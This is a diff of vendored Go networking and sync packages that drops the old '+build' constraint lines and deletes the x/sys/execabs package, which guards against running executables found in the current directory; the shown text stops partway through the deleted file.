diff --git a/vendor/golang.org/x/net/ipv4/control_stub.go b/vendor/golang.org/x/net/ipv4/control_stub.go
index f27322c3ed..3ba6611609 100644
--- a/vendor/golang.org/x/net/ipv4/control_stub.go
+++ b/vendor/golang.org/x/net/ipv4/control_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/control_unix.go b/vendor/golang.org/x/net/ipv4/control_unix.go
index 2413e02f8f..2e765548f3 100644
--- a/vendor/golang.org/x/net/ipv4/control_unix.go
+++ b/vendor/golang.org/x/net/ipv4/control_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/icmp_stub.go b/vendor/golang.org/x/net/ipv4/icmp_stub.go
index cd4ee6e1c9..c2c4ce7ff5 100644
--- a/vendor/golang.org/x/net/ipv4/icmp_stub.go
+++ b/vendor/golang.org/x/net/ipv4/icmp_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !linux
-// +build !linux
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/payload_cmsg.go b/vendor/golang.org/x/net/ipv4/payload_cmsg.go
index 1bb370e25f..91c685e8fc 100644
--- a/vendor/golang.org/x/net/ipv4/payload_cmsg.go
+++ b/vendor/golang.org/x/net/ipv4/payload_cmsg.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/payload_nocmsg.go b/vendor/golang.org/x/net/ipv4/payload_nocmsg.go
index 53f0794eb7..2afd4b50ef 100644
--- a/vendor/golang.org/x/net/ipv4/payload_nocmsg.go
+++ b/vendor/golang.org/x/net/ipv4/payload_nocmsg.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sockopt_posix.go b/vendor/golang.org/x/net/ipv4/sockopt_posix.go
index eb07c1c02a..82e2c37838 100644
--- a/vendor/golang.org/x/net/ipv4/sockopt_posix.go
+++ b/vendor/golang.org/x/net/ipv4/sockopt_posix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sockopt_stub.go b/vendor/golang.org/x/net/ipv4/sockopt_stub.go
index cf036893b7..840108bf76 100644
--- a/vendor/golang.org/x/net/ipv4/sockopt_stub.go
+++ b/vendor/golang.org/x/net/ipv4/sockopt_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_aix.go b/vendor/golang.org/x/net/ipv4/sys_aix.go
index 02730cdfd2..9244a68a38 100644
--- a/vendor/golang.org/x/net/ipv4/sys_aix.go
+++ b/vendor/golang.org/x/net/ipv4/sys_aix.go
@@ -4,7 +4,6 @@
// Added for go1.11 compatibility
//go:build aix
-// +build aix
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreq.go b/vendor/golang.org/x/net/ipv4/sys_asmreq.go
index 22322b387e..645f254c6d 100644
--- a/vendor/golang.org/x/net/ipv4/sys_asmreq.go
+++ b/vendor/golang.org/x/net/ipv4/sys_asmreq.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd || solaris || windows
-// +build aix darwin dragonfly freebsd netbsd openbsd solaris windows
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go b/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go
index fde640142d..48cfb6db2f 100644
--- a/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go
+++ b/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !netbsd && !openbsd && !solaris && !windows
-// +build !aix,!darwin,!dragonfly,!freebsd,!netbsd,!openbsd,!solaris,!windows
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreqn.go b/vendor/golang.org/x/net/ipv4/sys_asmreqn.go
index 54eb9901b5..0b27b632f1 100644
--- a/vendor/golang.org/x/net/ipv4/sys_asmreqn.go
+++ b/vendor/golang.org/x/net/ipv4/sys_asmreqn.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || freebsd || linux
-// +build darwin freebsd linux
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go b/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go
index dcb15f25a5..303a5e2e68 100644
--- a/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go
+++ b/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !darwin && !freebsd && !linux
-// +build !darwin,!freebsd,!linux
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_bpf.go b/vendor/golang.org/x/net/ipv4/sys_bpf.go
index fb11e324e2..1b4780df41 100644
--- a/vendor/golang.org/x/net/ipv4/sys_bpf.go
+++ b/vendor/golang.org/x/net/ipv4/sys_bpf.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build linux
-// +build linux
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go b/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go
index fc53a0d33a..b1f779b493 100644
--- a/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go
+++ b/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !linux
-// +build !linux
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_bsd.go b/vendor/golang.org/x/net/ipv4/sys_bsd.go
index e191b2f14f..b7b032d260 100644
--- a/vendor/golang.org/x/net/ipv4/sys_bsd.go
+++ b/vendor/golang.org/x/net/ipv4/sys_bsd.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build netbsd || openbsd
-// +build netbsd openbsd
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_ssmreq.go b/vendor/golang.org/x/net/ipv4/sys_ssmreq.go
index 6a4e7abf9b..a295e15ea0 100644
--- a/vendor/golang.org/x/net/ipv4/sys_ssmreq.go
+++ b/vendor/golang.org/x/net/ipv4/sys_ssmreq.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || freebsd || linux || solaris
-// +build darwin freebsd linux solaris
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go b/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go
index 157159fd50..74bd454e25 100644
--- a/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go
+++ b/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !darwin && !freebsd && !linux && !solaris
-// +build !darwin,!freebsd,!linux,!solaris
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/sys_stub.go b/vendor/golang.org/x/net/ipv4/sys_stub.go
index d550851658..20af4074c2 100644
--- a/vendor/golang.org/x/net/ipv4/sys_stub.go
+++ b/vendor/golang.org/x/net/ipv4/sys_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go b/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go
index b7f2d6e5c1..dd454025c7 100644
--- a/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go
+++ b/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go
@@ -3,7 +3,6 @@
// Added for go1.11 compatibility
//go:build aix
-// +build aix
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go b/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go
index e15c22c748..54f9e13948 100644
--- a/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go
+++ b/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go
@@ -2,7 +2,6 @@
// cgo -godefs defs_linux.go
//go:build loong64
-// +build loong64
package ipv4
diff --git a/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go b/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go
index e2edebdb81..78374a5250 100644
--- a/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go
+++ b/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go
@@ -2,7 +2,6 @@
// cgo -godefs defs_linux.go
//go:build riscv64
-// +build riscv64
package ipv4
diff --git a/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go b/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go
index 2733ddbe27..a8f04e7b3b 100644
--- a/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go
+++ b/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin
-// +build darwin
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go b/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go
index 9c90844aac..51fbbb1f17 100644
--- a/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go
+++ b/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/control_stub.go b/vendor/golang.org/x/net/ipv6/control_stub.go
index b7e8643fc9..eb28ce7534 100644
--- a/vendor/golang.org/x/net/ipv6/control_stub.go
+++ b/vendor/golang.org/x/net/ipv6/control_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/control_unix.go b/vendor/golang.org/x/net/ipv6/control_unix.go
index 63e475db83..9c73b8647e 100644
--- a/vendor/golang.org/x/net/ipv6/control_unix.go
+++ b/vendor/golang.org/x/net/ipv6/control_unix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/icmp_bsd.go b/vendor/golang.org/x/net/ipv6/icmp_bsd.go
index 120bf87758..2814534a0b 100644
--- a/vendor/golang.org/x/net/ipv6/icmp_bsd.go
+++ b/vendor/golang.org/x/net/ipv6/icmp_bsd.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd
-// +build aix darwin dragonfly freebsd netbsd openbsd
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/icmp_stub.go b/vendor/golang.org/x/net/ipv6/icmp_stub.go
index d60136a901..c92c9b51e1 100644
--- a/vendor/golang.org/x/net/ipv6/icmp_stub.go
+++ b/vendor/golang.org/x/net/ipv6/icmp_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/payload_cmsg.go b/vendor/golang.org/x/net/ipv6/payload_cmsg.go
index b0692e4304..be04e4d6ae 100644
--- a/vendor/golang.org/x/net/ipv6/payload_cmsg.go
+++ b/vendor/golang.org/x/net/ipv6/payload_cmsg.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/payload_nocmsg.go b/vendor/golang.org/x/net/ipv6/payload_nocmsg.go
index cd0ff50838..29b9ccf691 100644
--- a/vendor/golang.org/x/net/ipv6/payload_nocmsg.go
+++ b/vendor/golang.org/x/net/ipv6/payload_nocmsg.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sockopt_posix.go b/vendor/golang.org/x/net/ipv6/sockopt_posix.go
index 37c6287130..34dfed588e 100644
--- a/vendor/golang.org/x/net/ipv6/sockopt_posix.go
+++ b/vendor/golang.org/x/net/ipv6/sockopt_posix.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sockopt_stub.go b/vendor/golang.org/x/net/ipv6/sockopt_stub.go
index 32fd8664ce..a09c3aaf26 100644
--- a/vendor/golang.org/x/net/ipv6/sockopt_stub.go
+++ b/vendor/golang.org/x/net/ipv6/sockopt_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_aix.go b/vendor/golang.org/x/net/ipv6/sys_aix.go
index a47182afb9..93c8efc468 100644
--- a/vendor/golang.org/x/net/ipv6/sys_aix.go
+++ b/vendor/golang.org/x/net/ipv6/sys_aix.go
@@ -4,7 +4,6 @@
// Added for go1.11 compatibility
//go:build aix
-// +build aix
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_asmreq.go b/vendor/golang.org/x/net/ipv6/sys_asmreq.go
index 6ff9950d13..5c9cb44471 100644
--- a/vendor/golang.org/x/net/ipv6/sys_asmreq.go
+++ b/vendor/golang.org/x/net/ipv6/sys_asmreq.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows
-// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go b/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go
index 485290cb82..dc70494680 100644
--- a/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go
+++ b/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_bpf.go b/vendor/golang.org/x/net/ipv6/sys_bpf.go
index b5661fb8f0..e39f75f49f 100644
--- a/vendor/golang.org/x/net/ipv6/sys_bpf.go
+++ b/vendor/golang.org/x/net/ipv6/sys_bpf.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build linux
-// +build linux
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go b/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go
index cb00661872..8532a8f5de 100644
--- a/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go
+++ b/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !linux
-// +build !linux
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_bsd.go b/vendor/golang.org/x/net/ipv6/sys_bsd.go
index bde41a6cef..9f3bc2afde 100644
--- a/vendor/golang.org/x/net/ipv6/sys_bsd.go
+++ b/vendor/golang.org/x/net/ipv6/sys_bsd.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build dragonfly || netbsd || openbsd
-// +build dragonfly netbsd openbsd
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_ssmreq.go b/vendor/golang.org/x/net/ipv6/sys_ssmreq.go
index 023488a49c..b40f5c685b 100644
--- a/vendor/golang.org/x/net/ipv6/sys_ssmreq.go
+++ b/vendor/golang.org/x/net/ipv6/sys_ssmreq.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build aix || darwin || freebsd || linux || solaris || zos
-// +build aix darwin freebsd linux solaris zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go b/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go
index acdf2e5cf7..6526aad581 100644
--- a/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go
+++ b/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !freebsd && !linux && !solaris && !zos
-// +build !aix,!darwin,!freebsd,!linux,!solaris,!zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/sys_stub.go b/vendor/golang.org/x/net/ipv6/sys_stub.go
index 5807bba392..76602c34e6 100644
--- a/vendor/golang.org/x/net/ipv6/sys_stub.go
+++ b/vendor/golang.org/x/net/ipv6/sys_stub.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos
-// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go b/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go
index f604b0f3b4..668716df4d 100644
--- a/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go
+++ b/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go
@@ -3,7 +3,6 @@
// Added for go1.11 compatibility
//go:build aix
-// +build aix
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go b/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go
index 598fbfa06f..6a53284dbe 100644
--- a/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go
+++ b/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go
@@ -2,7 +2,6 @@
// cgo -godefs defs_linux.go
//go:build loong64
-// +build loong64
package ipv6
diff --git a/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go b/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go
index d4f78e405a..13b3472057 100644
--- a/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go
+++ b/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go
@@ -2,7 +2,6 @@
// cgo -godefs defs_linux.go
//go:build riscv64
-// +build riscv64
package ipv6
diff --git a/vendor/golang.org/x/net/route/address.go b/vendor/golang.org/x/net/route/address.go
index 5a3cc06549..5443d67223 100644
--- a/vendor/golang.org/x/net/route/address.go
+++ b/vendor/golang.org/x/net/route/address.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || netbsd || openbsd
-// +build darwin dragonfly freebsd netbsd openbsd
package route
diff --git a/vendor/golang.org/x/net/route/binary.go b/vendor/golang.org/x/net/route/binary.go
index a5e28f1e9c..db3f7e0c2a 100644
--- a/vendor/golang.org/x/net/route/binary.go
+++ b/vendor/golang.org/x/net/route/binary.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || netbsd || openbsd
-// +build darwin dragonfly freebsd netbsd openbsd
package route
diff --git a/vendor/golang.org/x/net/route/empty.s b/vendor/golang.org/x/net/route/empty.s
index 90ab4ca3d8..49d79791e0 100644
--- a/vendor/golang.org/x/net/route/empty.s
+++ b/vendor/golang.org/x/net/route/empty.s
@@ -3,6 +3,5 @@
// license that can be found in the LICENSE file.
//go:build darwin && go1.12
-// +build darwin,go1.12
// This exists solely so we can linkname in symbols from syscall.
diff --git a/vendor/golang.org/x/net/route/interface.go b/vendor/golang.org/x/net/route/interface.go
index 9e9407830c..0aa70555ca 100644
--- a/vendor/golang.org/x/net/route/interface.go
+++ b/vendor/golang.org/x/net/route/interface.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || netbsd || openbsd
-// +build darwin dragonfly freebsd netbsd openbsd
package route
diff --git a/vendor/golang.org/x/net/route/interface_announce.go b/vendor/golang.org/x/net/route/interface_announce.go
index 8282bfe9e2..70614c1b1a 100644
--- a/vendor/golang.org/x/net/route/interface_announce.go
+++ b/vendor/golang.org/x/net/route/interface_announce.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build dragonfly || freebsd || netbsd
-// +build dragonfly freebsd netbsd
package route
diff --git a/vendor/golang.org/x/net/route/interface_classic.go b/vendor/golang.org/x/net/route/interface_classic.go
index 903a196346..be1bf2652e 100644
--- a/vendor/golang.org/x/net/route/interface_classic.go
+++ b/vendor/golang.org/x/net/route/interface_classic.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || netbsd
-// +build darwin dragonfly netbsd
package route
diff --git a/vendor/golang.org/x/net/route/interface_multicast.go b/vendor/golang.org/x/net/route/interface_multicast.go
index dd0b214baa..2ee37b9c74 100644
--- a/vendor/golang.org/x/net/route/interface_multicast.go
+++ b/vendor/golang.org/x/net/route/interface_multicast.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd
-// +build darwin dragonfly freebsd
package route
diff --git a/vendor/golang.org/x/net/route/message.go b/vendor/golang.org/x/net/route/message.go
index 456a8363fe..dc8bfc5b3a 100644
--- a/vendor/golang.org/x/net/route/message.go
+++ b/vendor/golang.org/x/net/route/message.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || netbsd || openbsd
-// +build darwin dragonfly freebsd netbsd openbsd
package route
diff --git a/vendor/golang.org/x/net/route/route.go b/vendor/golang.org/x/net/route/route.go
index 3ab5bcdc01..ca2ce2b887 100644
--- a/vendor/golang.org/x/net/route/route.go
+++ b/vendor/golang.org/x/net/route/route.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || netbsd || openbsd
-// +build darwin dragonfly freebsd netbsd openbsd
// Package route provides basic functions for the manipulation of
// packet routing facilities on BSD variants.
diff --git a/vendor/golang.org/x/net/route/route_classic.go b/vendor/golang.org/x/net/route/route_classic.go
index d6ee42f1b1..e273fe39ab 100644
--- a/vendor/golang.org/x/net/route/route_classic.go
+++ b/vendor/golang.org/x/net/route/route_classic.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || netbsd
-// +build darwin dragonfly freebsd netbsd
package route
diff --git a/vendor/golang.org/x/net/route/sys.go b/vendor/golang.org/x/net/route/sys.go
index 7c75574f18..fcebee58ec 100644
--- a/vendor/golang.org/x/net/route/sys.go
+++ b/vendor/golang.org/x/net/route/sys.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || netbsd || openbsd
-// +build darwin dragonfly freebsd netbsd openbsd
package route
diff --git a/vendor/golang.org/x/net/route/syscall.go b/vendor/golang.org/x/net/route/syscall.go
index 68d37c9621..0ed53750a2 100644
--- a/vendor/golang.org/x/net/route/syscall.go
+++ b/vendor/golang.org/x/net/route/syscall.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build darwin || dragonfly || freebsd || netbsd || openbsd
-// +build darwin dragonfly freebsd netbsd openbsd
package route
diff --git a/vendor/golang.org/x/sync/errgroup/go120.go b/vendor/golang.org/x/sync/errgroup/go120.go
index 7d419d3760..f93c740b63 100644
--- a/vendor/golang.org/x/sync/errgroup/go120.go
+++ b/vendor/golang.org/x/sync/errgroup/go120.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build go1.20
-// +build go1.20
package errgroup
diff --git a/vendor/golang.org/x/sync/errgroup/pre_go120.go b/vendor/golang.org/x/sync/errgroup/pre_go120.go
index 1795c18ace..88ce33434e 100644
--- a/vendor/golang.org/x/sync/errgroup/pre_go120.go
+++ b/vendor/golang.org/x/sync/errgroup/pre_go120.go
@@ -3,7 +3,6 @@
// license that can be found in the LICENSE file.
//go:build !go1.20
-// +build !go1.20
package errgroup
diff --git a/vendor/golang.org/x/sys/execabs/execabs.go b/vendor/golang.org/x/sys/execabs/execabs.go
deleted file mode 100644
index 3bf40fdfec..0000000000
--- a/vendor/golang.org/x/sys/execabs/execabs.go
+++ /dev/null
@@ -1,102 +0,0 @@
-// Copyright 2020 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-// Package execabs is a drop-in replacement for os/exec
-// that requires PATH lookups to find absolute paths.
-// That is, execabs.Command("cmd") runs the same PATH lookup
-// as exec.Command("cmd"), but if the result is a path
-// which is relative, the Run and Start methods will report
-// an error instead of running the executable.
-//
-// See https://blog.golang.org/path-security for more information
-// about when it may be necessary or appropriate to use this package.
-package execabs
-
-import (
- "context"
- "fmt"
- "os/exec"
- "path/filepath"
- "reflect"
- "unsafe"
-)
-
-// ErrNotFound is the error resulting if a path search failed to find an executable file.
-// It is an alias for exec.ErrNotFound.
-var ErrNotFound = exec.ErrNotFound
-
-// Cmd represents an external command being prepared or run.
-// It is an alias for exec.Cmd.
-type Cmd = exec.Cmd
-
-// Error is returned by LookPath when it fails to classify a file as an executable.
-// It is an alias for exec.Error.
-type Error = exec.Error
-
-// An ExitError reports an unsuccessful exit by a command.
-// It is an alias for exec.ExitError.
-type ExitError = exec.ExitError
-
-func relError(file, path string) error {
- return fmt.Errorf("%s resolves to executable in current directory (.%c%s)", file, filepath.Separator, path)
-}
-
-// LookPath searches for an executable named file in the directories
-// named by the PATH environment variable. If file contains a slash,
-// it is tried directly and the PATH is not consulted. The result will be
-// an absolute path.
-//
-// LookPath differs from exec.LookPath in its handling of PATH lookups,
-// which are used for file names without slashes. If exec.LookPath's
-// PATH lookup would have returned an executable from the current directory,
-// LookPath instead returns an error.
-func LookPath(file string) (string, error) {
- path, err := exec.LookPath(file)
- if err != nil && !isGo119ErrDot(err) {
- return "", err
- }
- if filepath.Base(file) == file && !filepath.IsAbs(path) {
- return "", relError(file, path)
- }
- return path, nil
-}
-
-func fixCmd(name string, cmd *exec.Cmd) {
- if filepath.Base(name) == name && !filepath.IsAbs(cmd.Path) && !isGo119ErrFieldSet(cmd) {
- // exec.Command was called with a bare binary name and
- // exec.LookPath returned a path which is not absolute.
- // Set cmd.lookPathErr and clear cmd.Path so that it
- // cannot be run.
- lookPathErr := (*error)(unsafe.Pointer(reflect.ValueOf(cmd).Elem().FieldByName("lookPathErr").Addr().Pointer()))
- if *lookPathErr == nil {
- *lookPathErr = relError(name, cmd.Path)
- }
- cmd.Path = ""
- }
-}
-
-// CommandContext is like Command but includes a context.
-//
-// The provided context is used to kill the process (by calling os.Process.Kill)
-// if the context becomes done before the command completes on its own.
-func CommandContext(ctx context.Context, name string, arg ...string) *exec.Cmd {
- cmd := exec.CommandContext(ctx, name, arg...)
- fixCmd(name, cmd)
- return cmd
-
-}
-
-// Command returns the Cmd struct to execute the named program with the given arguments.
-// See exec.Command for most details.
-//
-// Command differs from exec.Command in its handling of PATH lookups,
-// which are used when the program name contains no slashes.
-// If exec.Command would have returned an exec.Cmd configured to run an
-// executable from the current directory, Command instead
